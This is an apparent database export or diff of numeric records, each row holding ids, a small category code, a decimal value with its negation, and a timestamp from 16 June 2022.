+33911,3,10480,2.649134871,0,2022-06-16 12:26:05.942808+00 +33940,1,10495,3.936892685,-3.936892685,2022-06-16 12:26:14.314937+00 +33941,1,10494,3.737352697,-3.737352697,2022-06-16 12:26:14.317055+00 +33942,1,10462,6.771780455,-6.771780455,2022-06-16 12:26:14.318579+00 +33943,1,10454,15.0786629,-15.0786629,2022-06-16 12:26:14.320065+00 +33944,1,10478,4.786399796,-4.786399796,2022-06-16 12:26:14.321378+00 +46250,1,12472,6.480707682,-6.480707682,2022-06-16 13:31:05.692496+00 +33967,1,10453,13.73906583,-13.73906583,2022-06-16 12:26:23.298061+00 +33977,6,10493,2.62733684,-2.62733684,2022-06-16 12:26:26.935678+00 +33983,1,10424,8.170322485,-8.170322485,2022-06-16 12:26:32.299118+00 +38394,6,11262,5.535201074,-5.535201074,2022-06-16 12:50:40.555591+00 +64421,6,15272,22.93284579,-22.93284579,2022-06-16 14:58:27.915378+00 +35929,6,10799,7.514236347,-7.514236347,2022-06-16 12:36:43.063387+00 +43600,2,11946,4.437141851,-4.437141851,2022-06-16 13:15:40.884156+00 +53093,6,13709,10.73927389,-10.73927389,2022-06-16 14:08:24.6035+00 +53109,1,13651,7.76126187,-7.76126187,2022-06-16 14:08:32.816407+00 +53134,3,13421,4.060609284,-4.060609284,2022-06-16 14:08:40.731998+00 +34143,6,10387,13.76127322,-13.76127322,2022-06-16 12:27:20.962222+00 +46622,2,12333,4.163718407,-4.163718407,2022-06-16 13:33:29.318397+00 +34172,4,10336,6.152054998,-6.152054998,2022-06-16 12:27:32.986263+00 +34185,3,10558,11.12104856,-11.12104856,2022-06-16 12:28:03.920221+00 +46623,2,12397,4.143400661,-4.143400661,2022-06-16 13:33:29.32152+00 +34198,6,10480,1.857531393,0,2022-06-16 12:28:04.252481+00 +36022,2,10815,4.279235606,-4.279235606,2022-06-16 12:37:05.121706+00 +46624,2,12461,4.123176121,-4.123176121,2022-06-16 13:33:29.322341+00 +46625,2,12525,4.103043707,-4.103043707,2022-06-16 13:33:29.323221+00 +49626,6,13120,4.081410839,-4.081410839,2022-06-16 13:50:17.633306+00 +38664,3,11311,11.62513369,-11.62513369,2022-06-16 12:52:06.948579+00 +34261,4,10477,3.493097583,-3.493097583,2022-06-16 12:28:11.389433+00 +34262,4,10493,3.598835145,-3.598835145,2022-06-16 12:28:11.390637+00 +34263,4,10445,15.65954045,-15.65954045,2022-06-16 12:28:11.391424+00 +34264,4,10461,9.708093863,-9.708093863,2022-06-16 12:28:11.392182+00 +34265,4,10543,4.949875894,-4.949875894,2022-06-16 12:28:11.392912+00 +34281,4,10443,11.64834931,-11.64834931,2022-06-16 12:28:20.715283+00 +34282,4,10483,9.90247531,-9.90247531,2022-06-16 12:28:20.71854+00 +34283,4,10491,1.876930578,-1.876930578,2022-06-16 12:28:20.719451+00 +46733,6,12629,7.308241409,-7.308241409,2022-06-16 13:34:13.456511+00 +46749,4,12595,9.101818039,-9.101818039,2022-06-16 13:34:21.859194+00 +46750,4,12555,13.26987502,-13.26987502,2022-06-16 13:34:21.860475+00 +34325,3,10237,7.601098499,-7.601098499,2022-06-16 12:28:31.849791+00 +34341,6,10527,10.714824,-10.714824,2022-06-16 12:28:32.982926+00 +34354,6,10543,8.000109714,-8.000109714,2022-06-16 12:28:33.49736+00 +44242,1,12157,3.062812783,-3.062812783,2022-06-16 13:18:41.650588+00 +38790,6,11327,5.336873226,-5.336873226,2022-06-16 12:52:40.666667+00 +44243,1,12141,2.642830982,-2.642830982,2022-06-16 13:18:41.654158+00 +34383,6,10475,4.830848984,-4.830848984,2022-06-16 12:28:38.347831+00 +46751,4,12603,1.114424519,-1.114424519,2022-06-16 13:34:21.861331+00 +46752,4,12587,1.221510856,-1.221510856,2022-06-16 13:34:21.862239+00 +46753,4,12571,4.276616771,-4.276616771,2022-06-16 13:34:21.863162+00 +32064,6,10157,2.811247509,-2.811247509,2022-06-16 12:16:24.201349+00 +48986,6,13021,5.334979946,-5.334979946,2022-06-16 13:46:49.022496+00 +32326,3,10176,7.007325214,-7.007325214,2022-06-16 12:18:00.223903+00 +32069,2,10109,5.740752393,-5.740752393,2022-06-16 12:16:24.418526+00 +32407,4,10159,5.449093448,-5.449093448,2022-06-16 12:18:12.743189+00 +32085,3,9853,8.051993807,-8.051993807,2022-06-16 12:16:30.338087+00 +32408,4,10223,5.433095931,-5.433095931,2022-06-16 12:18:12.744423+00 +32409,4,10206,7.535874399,-7.535874399,2022-06-16 12:18:12.745247+00 +32410,4,10207,7.140735755,-7.140735755,2022-06-16 12:18:12.746118+00 +34687,6,10589,7.392066578,-7.392066578,2022-06-16 12:30:09.187011+00 +34749,3,10608,2.63276251,0,2022-06-16 12:30:16.17369+00 +46038,3,12526,9.984400669,-9.984400669,2022-06-16 13:30:05.946874+00 +34882,2,10623,4.440985687,-4.440985687,2022-06-16 12:31:05.521127+00 +46232,3,12400,2.645584749,0,2022-06-16 13:31:00.009241+00 +46233,3,12464,2.643523115,0,2022-06-16 13:31:00.012929+00 +46234,3,12528,2.641465263,0,2022-06-16 13:31:00.013771+00 +37685,6,11133,2.14508868,-2.14508868,2022-06-16 12:46:33.061902+00 +35119,6,10637,12.61675112,-12.61675112,2022-06-16 12:32:20.552506+00 +37743,2,11103,8.091191224,-8.091191224,2022-06-16 12:47:05.16418+00 +43406,6,11968,4.194280052,-4.194280052,2022-06-16 13:14:21.07678+00 +49419,2,13056,3.649795682,-3.649795682,2022-06-16 13:49:05.188458+00 +40467,2,11566,4.49074132,-4.49074132,2022-06-16 13:01:05.314174+00 +46354,3,12479,7.56705649,-7.56705649,2022-06-16 13:32:05.25982+00 +37970,4,11191,11.60542247,-11.60542247,2022-06-16 12:48:13.762705+00 +38018,4,11150,18.01746559,-18.01746559,2022-06-16 12:48:29.690538+00 +38019,4,11158,15.4851742,-15.4851742,2022-06-16 12:48:29.691885+00 +46355,3,12543,7.518100936,-7.518100936,2022-06-16 13:32:05.263838+00 +43654,6,11754,6.881586699,-6.881586699,2022-06-16 13:15:48.147498+00 +38122,2,11115,5.763094412,-5.763094412,2022-06-16 12:49:14.420028+00 +46356,3,12607,7.469517248,-7.469517248,2022-06-16 13:32:05.265195+00 +35547,4,10675,9.843279352,-9.843279352,2022-06-16 12:34:24.463827+00 +35548,4,10683,1.788180467,-1.788180467,2022-06-16 12:34:24.467489+00 +35596,3,10736,2.637306446,0,2022-06-16 12:34:46.447241+00 +46402,1,12590,2.820013245,-2.820013245,2022-06-16 13:32:11.68505+00 +33595,2,10365,5.640952126,-5.640952126,2022-06-16 12:24:24.326881+00 +33607,1,10413,4.034730592,-4.034730592,2022-06-16 12:24:29.299005+00 +33608,1,10397,10.7592864,-10.7592864,2022-06-16 12:24:29.300269+00 +33609,1,10429,4.144928273,-4.144928273,2022-06-16 12:24:29.301115+00 +33632,1,10360,8.27353637,-8.27353637,2022-06-16 12:24:38.298724+00 +33633,1,10368,1.836009941,-1.836009941,2022-06-16 12:24:38.299946+00 +33634,1,10352,0.624631892,0,2022-06-16 12:24:38.300775+00 +33635,1,10328,9.105801984,-9.105801984,2022-06-16 12:24:38.301467+00 +46403,1,12606,2.211849318,-2.211849318,2022-06-16 13:32:11.686181+00 +49420,2,13086,7.515955617,-7.515955617,2022-06-16 13:49:05.191697+00 +40759,6,11584,4.143191045,-4.143191045,2022-06-16 13:02:24.335257+00 +33701,2,10399,8.093685086,-8.093685086,2022-06-16 12:25:04.869921+00 +53094,1,13691,1.166839773,-1.166839773,2022-06-16 14:08:26.852075+00 +38363,6,11184,1.892509348,0,2022-06-16 12:50:38.306801+00 +53095,1,13696,0.88295682,-0.88295682,2022-06-16 14:08:26.85695+00 +38396,4,10936,8.107203768,-8.107203768,2022-06-16 12:50:41.018556+00 +53096,1,13675,1.269265473,-1.269265473,2022-06-16 14:08:26.858061+00 +35847,1,10731,3.390246672,-3.390246672,2022-06-16 12:36:14.44447+00 +35848,1,10747,2.944754475,-2.944754475,2022-06-16 12:36:14.447884+00 +33857,6,10427,4.211225185,-4.211225185,2022-06-16 12:26:04.150705+00 +40888,2,11630,4.461447989,-4.461447989,2022-06-16 13:03:05.252772+00 +40889,2,11631,4.444063015,-4.444063015,2022-06-16 13:03:05.256264+00 +49628,1,13096,14.70727569,-14.70727569,2022-06-16 13:50:20.76052+00 +40919,2,11563,5.361190104,-5.361190104,2022-06-16 13:03:14.546215+00 +44167,4,12080,0.612540551,0,2022-06-16 13:18:11.740818+00 +33982,3,10173,7.685469801,-7.685469801,2022-06-16 12:26:31.612623+00 +35966,6,10736,1.876187844,0,2022-06-16 12:36:52.792712+00 +44168,4,12158,2.489537301,-2.489537301,2022-06-16 13:18:11.74207+00 +35992,1,10656,5.946153902,-5.946153902,2022-06-16 12:37:02.403128+00 +44169,4,12142,3.144688381,-3.144688381,2022-06-16 13:18:11.742929+00 +44170,4,12096,1.356093365,-1.356093365,2022-06-16 13:18:11.743724+00 +34098,2,10495,4.559953463,-4.559953463,2022-06-16 12:27:05.395262+00 +44171,4,12126,6.314607024,-6.314607024,2022-06-16 13:18:11.744479+00 +44172,4,12093,2.260606465,-2.260606465,2022-06-16 13:18:11.745233+00 +38733,6,11326,5.477086104,-5.477086104,2022-06-16 12:52:19.368768+00 +44173,4,12151,10.63595247,-10.63595247,2022-06-16 13:18:11.745908+00 +38770,6,11309,1.968707444,-1.968707444,2022-06-16 12:52:40.074551+00 +44174,4,12150,11.2773688,-11.2773688,2022-06-16 13:18:11.746586+00 +44175,4,12077,1.944797176,-1.944797176,2022-06-16 13:18:11.747242+00 +44176,4,12045,13.98574721,-13.98574721,2022-06-16 13:18:11.747888+00 +44177,4,12061,7.689058319,-7.689058319,2022-06-16 13:18:11.748539+00 +38857,2,11326,3.763335015,-3.763335015,2022-06-16 12:53:05.259464+00 +49629,1,13120,0.987196124,-0.987196124,2022-06-16 13:50:20.764261+00 +38877,2,11259,4.953111587,-4.953111587,2022-06-16 12:53:14.564413+00 +34260,3,10544,2.65659555,0,2022-06-16 12:28:10.179779+00 +49630,1,13088,4.667465617,-4.667465617,2022-06-16 13:50:20.765128+00 +36171,6,10877,2.364789116,-2.364789116,2022-06-16 12:38:06.671179+00 +41308,2,11632,1.708594253,0,2022-06-16 13:05:04.93012+00 +49631,1,13112,6.044747199,-6.044747199,2022-06-16 13:50:20.765874+00 +44350,2,12142,4.024351706,-4.024351706,2022-06-16 13:19:09.798343+00 +49632,1,13080,6.633271302,-6.633271302,2022-06-16 13:50:20.766698+00 +34368,6,10517,9.947815323,-9.947815323,2022-06-16 12:28:35.618472+00 +49633,1,13104,0.467944344,0,2022-06-16 13:50:20.767453+00 +34389,2,10538,6.100684602,-6.100684602,2022-06-16 12:28:39.198063+00 +34400,6,10557,2.564791709,-2.564791709,2022-06-16 12:28:44.315841+00 +53097,1,13683,11.09171663,-11.09171663,2022-06-16 14:08:26.859067+00 +53098,1,13659,5.606088911,-5.606088911,2022-06-16 14:08:26.860022+00 +36259,4,10771,7.458398569,-7.458398569,2022-06-16 12:38:28.840254+00 +36265,1,10803,13.97148125,-13.97148125,2022-06-16 12:38:38.43485+00 +36266,1,10779,7.015521972,-7.015521972,2022-06-16 12:38:38.438289+00 +36267,1,10811,2.860293509,-2.860293509,2022-06-16 12:38:38.439195+00 +36268,1,10795,3.290135747,-3.290135747,2022-06-16 12:38:38.440035+00 +36269,1,10787,21.26996849,-21.26996849,2022-06-16 12:38:38.440783+00 +36274,6,10837,9.485643353,-9.485643353,2022-06-16 12:38:43.81363+00 +47094,4,12656,0.609714953,0,2022-06-16 13:36:10.176104+00 +36284,6,10800,1.876845762,0,2022-06-16 12:38:51.227189+00 +47095,4,12718,2.594056361,-2.594056361,2022-06-16 13:36:10.179412+00 +36292,1,10808,7.897764688,-7.897764688,2022-06-16 12:38:53.404832+00 +39022,7,11242,7.498429179,-7.498429179,2022-06-16 12:54:06.857669+00 +39037,6,11307,4.03022275,-4.03022275,2022-06-16 12:54:11.308003+00 +44616,6,12205,1.423364584,-1.423364584,2022-06-16 13:20:23.873834+00 +36308,6,10811,3.87973586,-3.87973586,2022-06-16 12:39:01.196248+00 +36310,1,10878,3.258295936,-3.258295936,2022-06-16 12:39:02.404045+00 +36311,1,10854,15.52193532,-15.52193532,2022-06-16 12:39:02.405277+00 +36312,1,10838,14.4671454,-14.4671454,2022-06-16 12:39:02.406065+00 +36313,1,10862,4.171366735,-4.171366735,2022-06-16 12:39:02.406897+00 +47096,4,12734,2.046171432,-2.046171432,2022-06-16 13:36:10.180211+00 +41502,3,11775,8.796309242,-8.796309242,2022-06-16 13:06:04.870493+00 +47097,4,12672,1.289287123,-1.289287123,2022-06-16 13:36:10.18092+00 +47098,4,12702,5.719534874,-5.719534874,2022-06-16 13:36:10.181642+00 +56406,2,14319,2.386545782,-2.386545782,2022-06-16 14:27:05.454382+00 +32071,6,10173,2.893639069,-2.893639069,2022-06-16 12:16:26.068204+00 +48987,1,13039,2.920224835,-2.920224835,2022-06-16 13:46:53.77128+00 +63942,1,15217,4.070348688,-4.070348688,2022-06-16 14:57:00.222326+00 +63943,1,15253,9.577618442,-9.577618442,2022-06-16 14:57:00.225836+00 +32079,6,10096,1.833224296,0,2022-06-16 12:16:29.918018+00 +34750,6,10621,2.543765803,-2.543765803,2022-06-16 12:30:16.178104+00 +34768,4,10583,15.08554653,-15.08554653,2022-06-16 12:30:18.565466+00 +34769,4,10575,16.49140759,-16.49140759,2022-06-16 12:30:18.566725+00 +32084,6,10112,5.11344543,-5.11344543,2022-06-16 12:16:30.145573+00 +32086,3,9837,7.841869529,-7.841869529,2022-06-16 12:16:31.583136+00 +52835,2,13663,8.180492083,-8.180492083,2022-06-16 14:07:05.609824+00 +40016,6,11519,5.064403761,-5.064403761,2022-06-16 12:58:49.774245+00 +63944,1,15218,8.854153614,-8.854153614,2022-06-16 14:57:00.227347+00 +63945,1,15194,9.235143407,-9.235143407,2022-06-16 14:57:00.228258+00 +37618,2,11069,5.19528966,-5.19528966,2022-06-16 12:46:19.420702+00 +40180,3,11451,7.680967981,-7.680967981,2022-06-16 12:59:49.891493+00 +35120,4,10611,9.889383244,-9.889383244,2022-06-16 12:32:20.848731+00 +32987,2,10235,5.84554194,-5.84554194,2022-06-16 12:21:14.455391+00 +35121,4,10619,1.827849169,-1.827849169,2022-06-16 12:32:20.852036+00 +33051,3,10302,11.48182787,-11.48182787,2022-06-16 12:21:59.531202+00 +35122,4,10571,12.28535938,-12.28535938,2022-06-16 12:32:20.85285+00 +33082,6,10366,7.001833207,-7.001833207,2022-06-16 12:22:02.832015+00 +46357,6,12606,4.140313752,-4.140313752,2022-06-16 13:32:05.274281+00 +33119,3,10367,11.44066099,-11.44066099,2022-06-16 12:22:05.139255+00 +35180,1,10602,7.411744387,-7.411744387,2022-06-16 12:32:35.353335+00 +35181,1,10594,15.41279338,-15.41279338,2022-06-16 12:32:35.354582+00 +35209,6,10686,6.38826204,-6.38826204,2022-06-16 12:32:51.76954+00 +53100,4,13651,5.77061246,-5.77061246,2022-06-16 14:08:29.392436+00 +32107,1,10081,9.295427515,-9.295427515,2022-06-16 12:16:35.241583+00 +32108,1,10073,8.408376469,-8.408376469,2022-06-16 12:16:35.244949+00 +32109,1,10105,8.302128783,-8.302128783,2022-06-16 12:16:35.245801+00 +32110,1,10089,8.290562311,-8.290562311,2022-06-16 12:16:35.246605+00 +32111,6,10026,9.76679304,-9.76679304,2022-06-16 12:16:37.623394+00 +32112,1,10090,9.020736157,-9.020736157,2022-06-16 12:16:38.241233+00 +43407,4,11915,12.95420123,-12.95420123,2022-06-16 13:14:21.361573+00 +37829,3,11067,8.319972148,-8.319972148,2022-06-16 12:47:40.945048+00 +43408,4,11955,9.337665136,-9.337665136,2022-06-16 13:14:21.365159+00 +53125,4,13592,7.858097525,-7.858097525,2022-06-16 14:08:34.124023+00 +43545,2,11947,5.048941285,-5.048941285,2022-06-16 13:15:14.441909+00 +60522,6,14861,10.1696713,-10.1696713,2022-06-16 14:44:25.467732+00 +53428,3,13739,5.401110913,-5.401110913,2022-06-16 14:10:34.172847+00 +40701,4,11584,1.397529945,-1.397529945,2022-06-16 13:02:09.132246+00 +32123,1,10082,16.55215482,-16.55215482,2022-06-16 12:16:41.24089+00 +32124,1,10106,16.61908781,-16.61908781,2022-06-16 12:16:41.242168+00 +32125,1,10074,16.69959007,-16.69959007,2022-06-16 12:16:41.243004+00 +35549,1,10734,4.38823915,-4.38823915,2022-06-16 12:34:26.368528+00 +35550,1,10726,15.65113104,-15.65113104,2022-06-16 12:34:26.372416+00 +35551,1,10710,14.6187655,-14.6187655,2022-06-16 12:34:26.373436+00 +35552,1,10750,3.359943769,-3.359943769,2022-06-16 12:34:26.374392+00 +35553,1,10666,7.253739473,-7.253739473,2022-06-16 12:34:26.375369+00 +35582,1,10665,7.799137368,-7.799137368,2022-06-16 12:34:41.370209+00 +35583,1,10749,3.874123306,-3.874123306,2022-06-16 12:34:41.37154+00 +35584,1,10681,7.789753419,-7.789753419,2022-06-16 12:34:41.372248+00 +35585,1,10733,3.755811136,-3.755811136,2022-06-16 12:34:41.372936+00 +35586,1,10657,8.699986736,-8.699986736,2022-06-16 12:34:41.373598+00 +35587,1,10649,7.858892651,-7.858892651,2022-06-16 12:34:41.374244+00 +35600,6,10709,9.695623315,-9.695623315,2022-06-16 12:34:50.221096+00 +40702,4,11568,0.61698244,0,2022-06-16 13:02:09.135771+00 +33949,2,10413,5.462825336,-5.462825336,2022-06-16 12:26:14.448639+00 +40703,4,11614,6.86453852,-6.86453852,2022-06-16 13:02:09.136624+00 +33985,1,10425,8.025674229,-8.025674229,2022-06-16 12:26:41.324464+00 +33986,1,10409,8.014884448,-8.014884448,2022-06-16 12:26:41.327858+00 +33987,1,10401,8.945938475,-8.945938475,2022-06-16 12:26:41.32866+00 +33988,1,10408,16.60482456,-16.60482456,2022-06-16 12:26:41.329406+00 +33989,1,10393,8.085379207,-8.085379207,2022-06-16 12:26:41.330201+00 +35695,2,10751,4.323861416,-4.323861416,2022-06-16 12:35:09.479784+00 +40704,4,11646,2.996367053,-2.996367053,2022-06-16 13:02:09.137456+00 +40760,1,11480,7.915414497,-7.915414497,2022-06-16 13:02:26.516307+00 +34063,2,10432,4.47839988,-4.47839988,2022-06-16 12:27:04.567258+00 +40761,1,11584,1.230755738,-1.230755738,2022-06-16 13:02:26.519957+00 +34081,2,10478,5.674804955,-5.674804955,2022-06-16 12:27:04.981783+00 +40762,1,11568,0.544582404,0,2022-06-16 13:02:26.52082+00 +38434,2,11230,8.018076355,-8.018076355,2022-06-16 12:51:04.895071+00 +40763,1,11555,20.88315147,-20.88315147,2022-06-16 13:02:26.521597+00 +40764,1,11563,2.575878914,-2.575878914,2022-06-16 13:02:26.522379+00 +40765,1,11547,6.616319789,-6.616319789,2022-06-16 13:02:26.523171+00 +40766,1,11579,2.219049332,-2.219049332,2022-06-16 13:02:26.52399+00 +35898,6,10747,3.940138649,-3.940138649,2022-06-16 12:36:26.778313+00 +35912,3,10477,7.161744524,-7.161744524,2022-06-16 12:36:34.187642+00 +40767,1,11571,13.14334148,-13.14334148,2022-06-16 13:02:26.524658+00 +40778,1,11572,14.92580678,-14.92580678,2022-06-16 13:02:35.51593+00 +46875,2,12592,1.789901265,0,2022-06-16 13:35:04.783442+00 +53503,6,13584,27.56746323,-27.56746323,2022-06-16 14:11:09.355448+00 +34267,4,10453,12.57316828,-12.57316828,2022-06-16 12:28:13.928616+00 +34285,4,10459,4.348377771,-4.348377771,2022-06-16 12:28:21.996571+00 +38667,4,11264,1.504744133,-1.504744133,2022-06-16 12:52:07.994303+00 +38668,4,11248,0.62413368,0,2022-06-16 12:52:07.99846+00 +38696,1,11293,10.29612873,-10.29612873,2022-06-16 12:52:14.462927+00 +38697,1,11325,3.458724536,-3.458724536,2022-06-16 12:52:14.464152+00 +38698,1,11309,3.343285445,-3.343285445,2022-06-16 12:52:14.464891+00 +43939,2,12079,4.098916957,-4.098916957,2022-06-16 13:17:05.56498+00 +53504,6,13648,27.50412119,-27.50412119,2022-06-16 14:11:09.359539+00 +38737,4,11251,9.674547071,-9.674547071,2022-06-16 12:52:21.312924+00 +38738,4,11243,1.767811956,-1.767811956,2022-06-16 12:52:21.316395+00 +38739,4,11259,1.525077247,-1.525077247,2022-06-16 12:52:21.317201+00 +38740,4,11227,4.407031471,-4.407031471,2022-06-16 12:52:21.317952+00 +53505,6,13712,27.44048271,-27.44048271,2022-06-16 14:11:09.360522+00 +47015,2,12650,3.773051791,-3.773051791,2022-06-16 13:35:56.336348+00 +64423,6,15317,4.820834473,-4.820834473,2022-06-16 14:58:29.197438+00 +36161,3,10798,12.73279248,-12.73279248,2022-06-16 12:38:05.743118+00 +47078,3,12718,9.842569065,-9.842569065,2022-06-16 13:36:05.796284+00 +36176,4,10528,6.111884205,-6.111884205,2022-06-16 12:38:12.416425+00 +36177,4,10781,9.284940952,-9.284940952,2022-06-16 12:38:12.41986+00 +36178,4,10813,3.235142538,-3.235142538,2022-06-16 12:38:12.420693+00 +36179,4,10797,3.134912895,-3.134912895,2022-06-16 12:38:12.421494+00 +36180,4,10765,15.26982272,-15.26982272,2022-06-16 12:38:12.422246+00 +36181,4,10863,4.422023048,-4.422023048,2022-06-16 12:38:12.423007+00 +36182,4,10879,3.424119656,-3.424119656,2022-06-16 12:38:12.423826+00 +44178,4,12119,13.72997881,-13.72997881,2022-06-16 13:18:14.317501+00 +38859,2,11327,3.764275039,-3.764275039,2022-06-16 12:53:05.289249+00 +44179,4,12118,14.41111089,-14.41111089,2022-06-16 13:18:14.321019+00 +38878,7,10986,7.554384316,-7.554384316,2022-06-16 12:53:16.636193+00 +44212,4,12111,14.98481847,-14.98481847,2022-06-16 13:18:20.429215+00 +44234,1,12143,3.540296355,-3.540296355,2022-06-16 13:18:29.641572+00 +36240,6,10879,5.872128742,-5.872128742,2022-06-16 12:38:20.509769+00 +42569,4,11817,12.09630766,-12.09630766,2022-06-16 13:11:00.043595+00 +37112,4,10922,8.066985805,-8.066985805,2022-06-16 12:43:21.807685+00 +36341,2,10878,4.153340116,-4.153340116,2022-06-16 12:39:05.158723+00 +56408,2,14302,7.011444515,-7.011444515,2022-06-16 14:27:05.483048+00 +36344,2,10879,4.178045537,-4.178045537,2022-06-16 12:39:05.225633+00 +37253,6,10987,4.301491459,-4.301491459,2022-06-16 12:44:11.192083+00 +37272,4,11023,16.24315872,-16.24315872,2022-06-16 12:44:19.273576+00 +37338,6,11054,7.317270969,-7.317270969,2022-06-16 12:44:49.133925+00 +36348,1,10863,4.620741822,-4.620741822,2022-06-16 12:39:05.405441+00 +36349,1,10879,3.584741059,-3.584741059,2022-06-16 12:39:05.406795+00 +56619,6,14398,2.90133359,-2.90133359,2022-06-16 14:28:08.679327+00 +37466,4,10986,7.888236049,-7.888236049,2022-06-16 12:45:21.632347+00 +40019,6,11501,1.859907914,-1.859907914,2022-06-16 12:58:50.294544+00 +37623,4,11019,12.46046795,-12.46046795,2022-06-16 12:46:22.346637+00 +37624,4,11059,9.671296911,-9.671296911,2022-06-16 12:46:22.349856+00 +37625,4,11051,1.859716996,-1.859716996,2022-06-16 12:46:22.350757+00 +37626,4,11067,1.605340281,-1.605340281,2022-06-16 12:46:22.351543+00 +37627,4,11035,4.407966391,-4.407966391,2022-06-16 12:46:22.35233+00 +53004,3,13695,6.294969141,-6.294969141,2022-06-16 14:08:05.095943+00 +53005,3,13759,6.249988157,-6.249988157,2022-06-16 14:08:05.099567+00 +40421,6,11370,7.449212912,-7.449212912,2022-06-16 13:00:57.303848+00 +43409,4,11947,1.459561531,-1.459561531,2022-06-16 13:14:23.241517+00 +43410,4,11931,4.338043131,-4.338043131,2022-06-16 13:14:23.245111+00 +43411,4,11963,1.25156625,-1.25156625,2022-06-16 13:14:23.246015+00 +38081,2,11198,3.866027907,-3.866027907,2022-06-16 12:49:05.223525+00 +43438,1,11948,13.97893644,-13.97893644,2022-06-16 13:14:26.57577+00 +43439,1,11964,13.95213611,-13.95213611,2022-06-16 13:14:26.576885+00 +43440,1,11932,13.92243278,-13.92243278,2022-06-16 13:14:26.577661+00 +49706,6,13115,2.618162994,-2.618162994,2022-06-16 13:50:35.334137+00 +40705,1,11545,6.735554586,-6.735554586,2022-06-16 13:02:11.541382+00 +40706,1,11645,3.247619802,-3.247619802,2022-06-16 13:02:11.544734+00 +40707,1,11553,9.74920555,-9.74920555,2022-06-16 13:02:11.545561+00 +40708,1,11561,6.637701424,-6.637701424,2022-06-16 13:02:11.546371+00 +40709,1,11577,6.628666702,-6.628666702,2022-06-16 13:02:11.547172+00 +40769,6,11562,7.310521233,-7.310521233,2022-06-16 13:02:29.045205+00 +60523,1,14848,0.749179111,-0.749179111,2022-06-16 14:44:27.11416+00 +60543,7,14826,3.325790213,-3.325790213,2022-06-16 14:44:32.829221+00 +43603,1,12030,2.517847164,-2.517847164,2022-06-16 13:15:41.604541+00 +53506,3,13674,5.320423985,-5.320423985,2022-06-16 14:11:13.313513+00 +57252,6,14429,4.410942374,-4.410942374,2022-06-16 14:30:41.372913+00 +40976,6,11647,4.927650877,-4.927650877,2022-06-16 13:03:26.716054+00 +43798,6,12011,3.486693869,-3.486693869,2022-06-16 13:16:20.728929+00 +38669,1,11257,6.996736091,-6.996736091,2022-06-16 12:52:08.489864+00 +38670,1,11225,7.074075831,-7.074075831,2022-06-16 12:52:08.493691+00 +38671,1,11241,6.982418609,-6.982418609,2022-06-16 12:52:08.494527+00 +38672,1,11233,9.540470047,-9.540470047,2022-06-16 12:52:08.495301+00 +38701,1,11285,12.97430152,-12.97430152,2022-06-16 12:52:17.460784+00 +43833,1,11992,7.497761294,-7.497761294,2022-06-16 13:16:29.575099+00 +43834,1,12024,6.765833567,-6.765833567,2022-06-16 13:16:29.576463+00 +38743,1,11259,2.481865136,-2.481865136,2022-06-16 12:52:23.48683+00 +38744,1,11251,13.5438544,-13.5438544,2022-06-16 12:52:23.490067+00 +38745,1,11235,21.02316374,-21.02316374,2022-06-16 12:52:23.491059+00 +38746,1,11243,2.841121401,-2.841121401,2022-06-16 12:52:23.491853+00 +38747,1,11227,6.740471119,-6.740471119,2022-06-16 12:52:23.4926+00 +43843,4,11929,11.96323219,-11.96323219,2022-06-16 13:16:36.447852+00 +41097,3,11630,11.16876472,-11.16876472,2022-06-16 13:04:07.828263+00 +43844,4,11993,11.90904911,-11.90904911,2022-06-16 13:16:36.449035+00 +38839,2,11264,3.87035578,-3.87035578,2022-06-16 12:53:04.835872+00 +41154,6,11693,1.7780712,-1.7780712,2022-06-16 13:04:16.183998+00 +43845,4,11953,12.57757131,-12.57757131,2022-06-16 13:16:36.450074+00 +38879,4,11242,7.575516348,-7.575516348,2022-06-16 12:53:19.294162+00 +41194,2,11645,4.972012244,-4.972012244,2022-06-16 13:04:24.41684+00 +43846,4,12017,12.52053864,-12.52053864,2022-06-16 13:16:36.450871+00 +41251,6,11661,11.88076075,-11.88076075,2022-06-16 13:04:50.110222+00 +57280,3,14125,3.249526224,0,2022-06-16 14:30:43.603107+00 +53902,3,13934,8.502712983,-8.502712983,2022-06-16 14:14:06.138287+00 +53976,2,13869,3.096982904,-3.096982904,2022-06-16 14:14:24.42743+00 +44245,6,12117,7.876584663,-7.876584663,2022-06-16 13:18:45.252358+00 +39067,6,11375,6.650915058,-6.650915058,2022-06-16 12:54:12.47677+00 +47299,2,12667,4.12301733,-4.12301733,2022-06-16 13:37:14.585166+00 +39099,3,11312,2.65416642,0,2022-06-16 12:54:15.877948+00 +39100,3,11376,2.652088998,0,2022-06-16 12:54:15.881342+00 +47333,1,12576,4.937706714,-4.937706714,2022-06-16 13:37:35.771419+00 +54101,6,13867,2.357901343,-2.357901343,2022-06-16 14:15:12.669807+00 +44430,4,12024,7.724265264,-7.724265264,2022-06-16 13:19:46.48874+00 +57604,6,14485,5.387314879,-5.387314879,2022-06-16 14:32:11.807404+00 +39161,6,11283,13.62087428,-13.62087428,2022-06-16 12:54:53.994733+00 +44617,4,12115,6.751948625,-6.751948625,2022-06-16 13:20:30.284728+00 +39202,4,11305,13.19464297,-13.19464297,2022-06-16 12:55:03.889535+00 +39203,4,11289,13.2861862,-13.2861862,2022-06-16 12:55:03.890901+00 +39204,4,11128,8.030745618,-8.030745618,2022-06-16 12:55:03.891864+00 +41597,2,11693,4.534063356,-4.534063356,2022-06-16 13:06:24.435247+00 +44618,4,12174,16.69340892,-16.69340892,2022-06-16 13:20:30.288146+00 +39230,2,11374,4.704491371,-4.704491371,2022-06-16 12:55:05.163706+00 +44668,1,12124,13.59876377,-13.59876377,2022-06-16 13:20:56.698124+00 +54257,7,13930,4.446011609,-4.446011609,2022-06-16 14:16:26.662918+00 +39275,2,11370,5.107721239,-5.107721239,2022-06-16 12:55:13.046211+00 +41657,6,11757,1.622636052,-1.622636052,2022-06-16 13:06:33.526485+00 +54381,1,13999,2.170037801,-2.170037801,2022-06-16 14:17:05.904154+00 +54382,1,14015,1.626137435,-1.626137435,2022-06-16 14:17:05.908221+00 +41681,6,11626,7.120486566,-7.120486566,2022-06-16 13:06:52.065016+00 +41692,6,11712,4.300434407,-4.300434407,2022-06-16 13:06:55.910706+00 +50820,2,13293,3.392911442,-3.392911442,2022-06-16 13:56:24.459936+00 +47800,4,12800,1.269321623,-1.269321623,2022-06-16 13:40:12.538259+00 +41751,1,11672,7.755986036,-7.755986036,2022-06-16 13:07:05.567476+00 +41752,1,11692,14.62937779,-14.62937779,2022-06-16 13:07:05.568543+00 +41753,1,11704,7.015357542,-7.015357542,2022-06-16 13:07:05.569308+00 +41754,1,11676,14.59916028,-14.59916028,2022-06-16 13:07:05.570085+00 +41755,1,11700,14.56897026,-14.56897026,2022-06-16 13:07:05.570861+00 